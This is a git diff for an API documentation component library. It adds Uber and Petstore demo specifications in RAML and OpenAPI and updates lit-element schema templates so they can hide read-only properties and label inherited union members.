mode 100644 index 0000000..54ec130 --- /dev/null +++ b/demo/apis/oas-api/UBER.raml @@ -0,0 +1,274 @@ +#%RAML 1.0 +title: Uber API +description: Move your app forward with the Uber API +version: 1.0.0 +mediaType: application/json +protocols: + - HTTPS +baseUri: https://mocksvc.mulesoft.com/mocks/b676fe7d-73fc-43fe-bc91-6e1a6d7207ee/v1 # baseUri: 'https://api.uber.com/v1' +securitySchemes: + apikey: + type: Pass Through + describedBy: + queryParameters: + server_token: + type: string +types: + Product: + properties: + product_id: + description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles.' + type: string + description: + description: Description of product. + type: string + display_name: + description: Display name of product. + type: string + capacity: + description: 'Capacity of product. For example, 4 people.' + type: integer + image: + description: Image URL representing the product. + type: string + ProductList: + properties: + products: + description: Contains the list of products + type: array + items: + type: Product + PriceEstimate: + properties: + product_id: + description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles' + type: string + currency_code: + description: '[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code.' + type: string + display_name: + description: Display name of product. + type: string + estimate: + description: 'Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI.' + type: string + low_estimate: + description: Lower bound of the estimated price. + type: number + high_estimate: + description: Upper bound of the estimated price. + type: number + surge_multiplier: + description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier. + type: number + Profile: + properties: + first_name: + description: First name of the Uber user. + type: string + last_name: + description: Last name of the Uber user. + type: string + email: + description: Email address of the Uber user + type: string + picture: + description: Image URL of the Uber user. + type: string + promo_code: + description: Promo code of the Uber user. + type: string + Activity: + properties: + uuid: + description: Unique identifier for the activity + type: string + Activities: + properties: + offset: + description: Position in pagination. + type: integer + format: int32 + limit: + description: Number of items to retrieve (100 max). + type: integer + format: int32 + count: + description: Total number of items available. + type: integer + format: int32 + history: + type: array + items: + type: Activity + Error: + properties: + code: + type: integer + format: int32 + message: + type: string + fields: + type: string +annotationTypes: + oas-responses-default: + type: any + allowedTargets: Method + oas-summary: + type: string + allowedTargets: Method + oas-tags: + type: 'string[]' + allowedTargets: Method + oas-format: + type: string + allowedTargets: TypeDeclaration +/estimates: + /price: + get: + description: 'The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.

    The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of price estimates by product + body: + application/json: + type: array + items: + type: PriceEstimate + queryParameters: + start_latitude: + description: Latitude component of start location. + type: number + format: double + start_longitude: + description: Longitude component of start location. + type: number + format: double + end_latitude: + description: Latitude component of end location. + type: number + format: double + end_longitude: + description: Longitude component of end location. + type: number + format: double + (oas-summary): Price Estimates + (oas-tags): + - Estimates + /time: + get: + description: 'The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of products + body: + application/json: + type: array + items: + type: Product + queryParameters: + start_latitude: + description: Latitude component of start location. + type: number + format: double + start_longitude: + description: Longitude component of start location. + type: number + format: double + customer_uuid: + description: Unique customer identifier to be used for experience customization. + type: string + (oas-format): uuid + required: false + product_id: + description: Unique identifier representing a specific product for a given latitude & longitude. + type: string + required: false + (oas-summary): Time Estimates + (oas-tags): + - Estimates +/history: + get: + description: 'The User Activity endpoint returns data about a user''s lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.

    The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: History information for the given user + body: + application/json: + type: Activities + queryParameters: + offset: + description: Offset the list of returned results by this amount. Default is zero. + type: integer + format: int32 + required: false + limit: + description: 'Number of items to retrieve. Default is 5, maximum is 100.' + type: integer + format: int32 + required: false + (oas-summary): User Activity + (oas-tags): + - User +/me: + get: + description: The User Profile endpoint returns information about the Uber user that has authorized with the application. + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: Profile information for a user + body: + application/json: + type: Profile + (oas-summary): User Profile + (oas-tags): + - User +/products: + get: + description: 'The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of products + body: + application/json: + type: array + items: + type: Product + queryParameters: + latitude: + description: Latitude component of location. + type: number + format: double + longitude: + description: Longitude component of location. + type: number + format: double + securedBy: + - apikey + (oas-summary): Product Types + (oas-tags): + - Products diff --git a/demo/apis/oas-api/UBER.yaml b/demo/apis/oas-api/UBER.yaml new file mode 100644 index 0000000..173b7c3 --- /dev/null +++ b/demo/apis/oas-api/UBER.yaml @@ -0,0 +1,272 @@ +swagger: "2.0" +info: + title: Uber API + description: Move your app forward with the Uber API + version: "1.0.0" +# the domain of the service +host: api.uber.com +# array of all schemes that your API supports +schemes: + - https +# will be prefixed to all paths +basePath: /v1 +securityDefinitions: + apikey: + type: apiKey + name: server_token + in: query +produces: + - application/json +paths: + /products: + get: + summary: Product Types + description: The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order. + + parameters: + - name: latitude + in: query + description: Latitude component of location. + required: true + type: number + format: double + - name: longitude + in: query + description: Longitude component of location. + required: true + type: number + format: double + security: + - apikey: [] + tags: + - Products + responses: + "200": + description: An array of products + schema: + type: array + items: + $ref: '#/definitions/Product' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /estimates/price: + get: + summary: Price Estimates + description: The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.

    The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + type: number + format: double + - name: end_latitude + in: query + description: Latitude component of end location. + required: true + type: number + format: double + - name: end_longitude + in: query + description: Longitude component of end location. + required: true + type: number + format: double + tags: + - Estimates + responses: + "200": + description: An array of price estimates by product + schema: + type: array + items: + $ref: '#/definitions/PriceEstimate' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /estimates/time: + get: + summary: Time Estimates + description: The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + type: number + format: double + - name: customer_uuid + in: query + type: string + format: uuid + description: Unique customer identifier to be used for experience customization. + - name: product_id + in: query + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. + tags: + - Estimates + responses: + "200": + description: An array of products + schema: + type: array + items: + $ref: '#/definitions/Product' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /me: + get: + summary: User Profile + description: The User Profile endpoint returns information about the Uber user that has authorized with the application. + tags: + - User + responses: + "200": + description: Profile information for a user + schema: + $ref: '#/definitions/Profile' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /history: + get: + summary: User Activity + description: The User Activity endpoint returns data about a user's lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.

    The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary. + parameters: + - name: offset + in: query + type: integer + format: int32 + description: Offset the list of returned results by this amount. Default is zero. + - name: limit + in: query + type: integer + format: int32 + description: Number of items to retrieve. Default is 5, maximum is 100. + tags: + - User + responses: + "200": + description: History information for the given user + schema: + $ref: '#/definitions/Activities' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Product: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles. + description: + type: string + description: Description of product. + display_name: + type: string + description: Display name of product. + capacity: + type: integer + description: Capacity of product. For example, 4 people. + image: + type: string + description: Image URL representing the product. + ProductList: + properties: + products: + description: Contains the list of products + type: array + items: + $ref: "#/definitions/Product" + PriceEstimate: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles + currency_code: + type: string + description: "[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code." + display_name: + type: string + description: Display name of product. + estimate: + type: string + description: Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI. + low_estimate: + type: number + description: Lower bound of the estimated price. + high_estimate: + type: number + description: Upper bound of the estimated price. + surge_multiplier: + type: number + description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier. + Profile: + properties: + first_name: + type: string + description: First name of the Uber user. + last_name: + type: string + description: Last name of the Uber user. + email: + type: string + description: Email address of the Uber user + picture: + type: string + description: Image URL of the Uber user. + promo_code: + type: string + description: Promo code of the Uber user. + Activity: + properties: + uuid: + type: string + description: Unique identifier for the activity + Activities: + properties: + offset: + type: integer + format: int32 + description: Position in pagination. + limit: + type: integer + format: int32 + description: Number of items to retrieve (100 max). + count: + type: integer + format: int32 + description: Total number of items available. + history: + type: array + items: + $ref: '#/definitions/Activity' + Error: + properties: + code: + type: integer + format: int32 + message: + type: string + fields: + type: string \ No newline at end of file diff --git a/demo/apis/oas-api/petstore-expanded.raml b/demo/apis/oas-api/petstore-expanded.raml new file mode 100644 index 0000000..a045773 --- /dev/null +++ b/demo/apis/oas-api/petstore-expanded.raml @@ -0,0 +1,141 @@ +#%RAML 1.0 +title: Swagger Petstore +description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification +version: 1.0.0 +(oas-info): + termsOfService: 'http://swagger.io/terms/' + contact: + name: Swagger API Team + url: 'http://swagger.io' + email: apiteam@swagger.io + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0.html' +annotationTypes: + oas-info: + properties: + termsOfService?: string + contact?: + properties: + name?: string + url?: string + email?: string + license?: + properties: + name?: string + url?: string + allowedTargets: API + oas-responses-default: + type: any + allowedTargets: Method + oas-collectionFormat: + type: string + oas-body-name: + type: string + allowedTargets: TypeDeclaration +mediaType: application/json +protocols: + - HTTP +baseUri: 'http://petstore.swagger.io/api' +types: + Pet: + type: NewPet + properties: + id: + type: integer + format: int64 + NewPet: + properties: + name: + type: string + tag: + type: string + required: false + Error: + properties: + code: + type: integer + format: int32 + message: + type: string +/pets: + get: + description: | + Returns all pets from the system that the user has access to + displayName: findPets + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: array + items: + type: Pet + queryParameters: + tags: + description: tags to filter by + required: false + type: array + items: + type: string + (oas-collectionFormat): csv + limit: + description: maximum number of results to return + required: false + type: integer + format: int32 + post: + description: Creates a new pet in the store. Duplicates are allowed + displayName: addPet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + body: + application/json: + description: Pet to add to the store + type: NewPet + (oas-body-name): pet + '/{id}': + get: + description: 'Returns a user based on a single ID, if the user does not have access to the pet' + displayName: find pet by id + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + delete: + description: deletes a single pet based on the ID supplied + displayName: deletePet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '204': + description: pet deleted + uriParameters: + id: + description: ID of pet to delete + type: integer + format: int64 diff --git a/demo/apis/oas-api/petstore-expanded.yaml b/demo/apis/oas-api/petstore-expanded.yaml new file mode 100644 index 0000000..a70757d --- /dev/null +++ b/demo/apis/oas-api/petstore-expanded.yaml @@ -0,0 +1,139 @@ +swagger: "2.0" +info: + version: 1.0.0 + title: Swagger Petstore + description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification + termsOfService: http://swagger.io/terms/ + contact: + name: Swagger API Team + email: apiteam@swagger.io + url: http://swagger.io + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0.html +host: petstore.swagger.io +basePath: /api +schemes: + - http +consumes: + - application/json +produces: + - application/json +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to + operationId: findPets + parameters: + - name: tags + in: query + description: tags to filter by + required: false + type: array + collectionFormat: csv + items: + type: string + - name: limit + in: query + description: maximum number of results to return + required: false + type: integer + format: int32 + responses: + "200": + description: pet response + schema: + type: array + items: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + post: + description: Creates a new pet in the store. Duplicates are allowed + operationId: addPet + parameters: + - name: pet + in: body + description: Pet to add to the store + required: true + schema: + $ref: '#/definitions/NewPet' + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + /pets/{id}: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + operationId: find pet by id + parameters: + - name: id + in: path + description: ID of pet to fetch + required: true + type: integer + format: int64 + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + delete: + description: deletes a single pet based on the ID supplied + operationId: deletePet + parameters: + - name: id + in: path + description: ID of pet to delete + required: true + type: integer + format: int64 + responses: + "204": + description: pet deleted + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Pet: + allOf: + - $ref: '#/definitions/NewPet' + - required: + - id + properties: + id: + type: integer + format: int64 + + NewPet: + required: + - name + properties: + name: + type: string + tag: + type: string + + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string \ No newline at end of file diff --git a/demo/apis/oas-api/read-only-properties.yaml b/demo/apis/oas-api/read-only-properties.yaml new file mode 100644 index 0000000..736547a --- /dev/null +++ b/demo/apis/oas-api/read-only-properties.yaml @@ -0,0 +1,42 @@ +openapi: '3.0.2' +info: + title: Read Only Properties API + version: '1.0' + +components: + schemas: + Article: + description: Representation of an article with title and body in CommonMark format. + type: object + properties: + id: + type: string + description: The unique ID of this article, generated by the API implementation upon creation of the article. + readOnly: true + title: + description: The title of the article, in CommonMark format. + type: string + minLength: 3 + +paths: + /default: + description: A default path to the API + get: + summary: "A get method" + responses: + 200: + description: Successful response + post: + summary: Add something + requestBody: + content: # Response body + application/json: # Media type + schema: + $ref: "#/components/schemas/Article" + responses: + 201: + description: Successful creation + content: + appliication/json: + schema: + $ref: "#/components/schemas/Article" diff --git a/demo/model.mjs b/demo/model.mjs index daccfef..76d80ff 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -39,6 +39,24 @@ config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); config.set('annotated-api/annotated-api.raml', { type: "RAML 1.0" }); +config.set('aap-1698/aap-1698.raml', { type: "RAML 1.0" }); +config.set('apic-83/apic-83.raml', { type: "RAML 1.0" }); +config.set('examples-api/examples-api.raml', { type: "RAML 1.0" }); +config.set('SE-11155/SE-11155.raml', { type: "RAML 1.0" }); +config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" }); +config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" }); +config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" }); +config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" }); +config.set('enum-test/enum-test.raml', { type: "RAML 1.0" }); +config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" }); +config.set('oas-api/Petstore-v2.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('new-oas3-types/new-oas3-types.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('oas-api/read-only-properties.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-671/APIC-671.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); generator.generate(config, { dest: 'demo/models/', diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index 054ed89..906abea 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -75,6 +75,9 @@ export const propertyDescriptionEditor = Symbol('propertyDescriptionEditor'); export const checkSchemaPropertyUpdate = Symbol('checkSchemaPropertyUpdate'); export const propertyDecoratorTemplate = Symbol('propertyDecoratorTemplate'); export const toggleExpandedProperty = Symbol('toggleExpandedProperty'); +export const andUnionItemTemplate = Symbol('andUnionItemTemplate'); +export const orderUnion = Symbol('orderUnion'); +export const inheritanceNameTemplate = Symbol('inheritanceNameTemplate'); const complexTypes = [ ns.w3.shacl.NodeShape, @@ -99,12 +102,10 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { } this[mimeTypeValue] = value; this.requestUpdate('mimeType', old); - if (value) { - setTimeout(() => { - this[processSchema](); - this.requestUpdate(); - }); - } + setTimeout(() => { + this[processSchema](); + this.requestUpdate(); + }); } /** @@ -146,6 +147,11 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * When set it renders the title with lower emphasis and adding `schema` prefix. */ schemaTitle: { type: Boolean, reflect: true }, + /** + * When set it does not render read only items. + * Read only property is a feature of OAS. + */ + noReadOnly: { type: Boolean }, }; } @@ -181,6 +187,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { this.editProperties = undefined; /** @type boolean */ this.schemaTitle = undefined; + /** @type boolean */ + this.noReadOnly = undefined; /** @type Shape */ this.domainModel = undefined; } @@ -214,7 +222,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * This processes examples for the schema. */ [processSchema]() { - const type = this[schemaValue]; + const type = /** @type ApiShapeUnion */ (this[schemaValue]); if (!type) { this[examplesValue] = undefined; return; @@ -248,6 +256,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { }); const result = ApiSchemaGenerator.asExample(type, mimeType, { selectedUnions, + renderExamples: true, + renderOptional: true, }); if (result) { this[examplesValue] = [result]; @@ -384,6 +394,22 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { this.requestUpdate(); } + /** + * Orders union items so the first is the one that has properties defined inline. + * @param {ApiShapeUnion[]} shapes + * @return {ApiShapeUnion[]} + */ + [orderUnion](shapes) { + return [...shapes].sort((a, b) => { + const aHasName = !!a.name && !a.name.startsWith('item'); + const bHasName = !!b.name && !b.name.startsWith('item'); + if (aHasName === bHasName) { + return 0; + } + return aHasName ? 1 : -1; + }); + } + render() { const schema = this[schemaValue]; if (!schema) { @@ -464,6 +490,10 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the schema properties depending on the type */ [schemaContentTemplate](schema) { + const { noReadOnly } = this; + if (schema.readOnly && noReadOnly) { + return ''; + } const { types } = schema; if (types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { return this[scalarShapeTemplate](/** @type ApiScalarShape */ (schema)); @@ -494,15 +524,21 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the scalar shape. */ [scalarShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } return scalarDetailsTemplate(schema, true); } /** * @param {ApiNodeShape} schema - * @returns {TemplateResult} The template for the node shape. + * @returns {TemplateResult|string} The template for the node shape. */ [nodeShapeTemplate](schema) { - const { properties, inherits } = schema; + const { properties, inherits, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } let items = [...(properties || [])]; if (Array.isArray(inherits) && inherits.length) { inherits.forEach((item) => { @@ -567,11 +603,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { `; } if (Array.isArray(and) && and.length) { - const items = and.map((item) => html` -
    - ${this[schemaContentTemplate](item)} -
    - `); + const items = this[orderUnion](and).map((item) => this[andUnionItemTemplate](item)); return html`
    ${items} @@ -581,6 +613,32 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { return unionTemplate; } + /** + * @param {ApiShapeUnion} shape + */ + [andUnionItemTemplate](shape) { + return html` +
    + ${this[inheritanceNameTemplate](shape)} + ${this[schemaContentTemplate](shape)} +
    + `; + } + + /** + * @param {ApiShapeUnion} shape + * @returns {TemplateResult|string} The template for the "and" union item's title, if inherited from another type. + */ + [inheritanceNameTemplate](shape) { + const { name='' } = shape; + const hasName = !!name && !name.startsWith('item'); + if (hasName) { + return html`

    Properties inherited from ${name}.

    `; + } + return ''; + // return html`

    Properties defined inline.

    `; + } + /** * @param {string} schemaId * @param {ApiShapeUnion[]} items @@ -638,15 +696,21 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the file shape. */ [fileShapeTemplate](schema) { + if (schema.readOnly && this.noReadOnly) { + return ''; + } return fileDetailsTemplate(schema); } /** * @param {ApiSchemaShape} schema - * @returns {TemplateResult} The template for the schema shape. + * @returns {TemplateResult|string} The template for the schema shape. */ [schemaShapeTemplate](schema) { - const { raw } = schema; + const { raw, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } if (!raw) { return html`
    Schema is not defined for this message.
    @@ -661,10 +725,13 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { /** * @param {ApiArrayShape} schema - * @returns {TemplateResult} The template for the array shape. + * @returns {TemplateResult|string} The template for the array shape. */ [arrayShapeTemplate](schema) { - const { items } = schema; + const { items, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } if (!items) { return html`
    Items are not defined for this array.
    `; } @@ -677,10 +744,13 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { /** * @param {ApiTupleShape} schema - * @returns {TemplateResult} The template for the tuple shape. + * @returns {TemplateResult|string} The template for the tuple shape. */ [tupleShapeTemplate](schema) { - const { items } = schema; + const { items, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } if (!items) { return html`
    Items are not defined for this array.
    `; } @@ -696,7 +766,10 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the Any shape. */ [anyShapeTemplate](schema) { - const { and, or } = schema; + const { and, or, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } if (and.length || or.length) { return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); } @@ -705,14 +778,20 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { /** * @param {ApiPropertyShape} schema - * @returns {TemplateResult} The template for the schema property item. + * @returns {TemplateResult|string} The template for the schema property item. */ [shapePropertyTemplate](schema) { - const { range, minCount } = schema; + const { range, minCount, readOnly } = schema; + if (readOnly && this.noReadOnly) { + return ''; + } if (!range) { return this[shapePropertyWithoutRangeTemplate](schema); } const { displayName, deprecated } = range; + if (range.readOnly && this.noReadOnly) { + return ''; + } const required = minCount > 0; const type = readPropertyTypeLabel(range); const label = schema.name || displayName || range.name; diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js index c52468d..d90e909 100644 --- a/src/elements/SchemaCommonTemplates.js +++ b/src/elements/SchemaCommonTemplates.js @@ -1,6 +1,7 @@ import { html } from "lit-element"; import { ns } from '@api-components/amf-helper-mixin'; import { classMap } from "lit-html/directives/class-map"; +import '../../api-annotation-document.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ /** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ @@ -140,7 +141,7 @@ export function detailSectionTemplate(items) { * @return {TemplateResult|string} The template for the details of the scalar schema */ export function scalarDetailsTemplate(schema, noDetail) { - const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, deprecated } = schema; + const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, deprecated, customDomainProperties } = schema; const result = []; const pills = []; if (defaultValueStr) { @@ -169,20 +170,12 @@ export function scalarDetailsTemplate(schema, noDetail) { } if (readOnly) { pills.push(pillTemplate('Read only', 'This property is read only.')); - // result.push(tablePropertyTemplate('Read only', 'yes')); } if (writeOnly) { pills.push(pillTemplate('Write only', 'This property is write only.')); - // result.push(tablePropertyTemplate('Write only', 'yes')); } if (deprecated) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); - // result.push(html` - //
    - //
    Deprecated:
    - //
    This property is deprecated
    - //
    - // `) } if (values.length) { result[result.length] = html` @@ -204,6 +197,9 @@ export function scalarDetailsTemplate(schema, noDetail) {
    `; } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; + } if (noDetail && result.length) { return pillsAndTable(pills, result); // return html`${result}`; @@ -227,7 +223,7 @@ export function scalarDetailsTemplate(schema, noDetail) { * @return {TemplateResult|string} The template for the details of the Node schema */ function nodeDetailsTemplate(schema) { - const { examples, maxProperties, minProperties, readOnly, writeOnly, deprecated } = schema; + const { maxProperties, minProperties, readOnly, writeOnly, deprecated, customDomainProperties } = schema; const result = []; const pills = []; if (typeof minProperties === 'number') { @@ -238,24 +234,25 @@ function nodeDetailsTemplate(schema) { } if (readOnly) { pills.push(pillTemplate('Read only', 'This property is read only.')); - // result.push(tablePropertyTemplate('Read only', 'yes')); } if (writeOnly) { pills.push(pillTemplate('Write only', 'This property is write only.')); - // result.push(tablePropertyTemplate('Write only', 'yes')); } if (deprecated) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); } - if (examples.length) { - result[result.length] = html` -
    -
    Examples:
    -
      - ${examples.map((item) => html`
    • ${item.value}
    • `)} -
    -
    - `; + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; } if (result.length && result.length < 3) { return pillsAndTable(pills, result); @@ -276,7 +273,7 @@ function nodeDetailsTemplate(schema) { * @return {TemplateResult|string} The template for the details of the Array schema */ function arrayDetailsTemplate(schema) { - const { examples, readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated } = schema; + const { readOnly, writeOnly, uniqueItems, defaultValueStr, deprecated, customDomainProperties } = schema; const result = []; const pills = []; if (defaultValueStr) { @@ -287,24 +284,25 @@ function arrayDetailsTemplate(schema) { } if (readOnly) { pills.push(pillTemplate('Read only', 'This property is read only.')); - // result.push(tablePropertyTemplate('Read only', 'yes')); } if (writeOnly) { pills.push(pillTemplate('Write only', 'This property is write only.')); - // result.push(tablePropertyTemplate('Write only', 'yes')); } if (deprecated) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); } - if (examples.length) { - result[result.length] = html` -
    -
    Examples:
    -
      - ${examples.map((item) => html`
    • ${item.value}
    • `)} -
    -
    - `; + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; } if (result.length && result.length < 3) { return pillsAndTable(pills, result); @@ -325,7 +323,7 @@ function arrayDetailsTemplate(schema) { * @return {TemplateResult|string} The template for the details of the Union schema */ export function unionDetailsTemplate(schema) { - const { examples, readOnly, writeOnly, defaultValueStr, deprecated } = schema; + const { readOnly, writeOnly, defaultValueStr, deprecated, customDomainProperties } = schema; const result = []; const pills = []; if (defaultValueStr) { @@ -333,24 +331,25 @@ export function unionDetailsTemplate(schema) { } if (readOnly) { pills.push(pillTemplate('Read only', 'This property is read only.')); - // result.push(tablePropertyTemplate('Read only', 'yes')); } if (writeOnly) { pills.push(pillTemplate('Write only', 'This property is write only.')); - // result.push(tablePropertyTemplate('Write only', 'yes')); } if (deprecated) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); } - if (examples.length) { - result[result.length] = html` -
    -
    Examples:
    -
      - ${examples.map((item) => html`
    • ${item.value}
    • `)} -
    -
    - `; + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
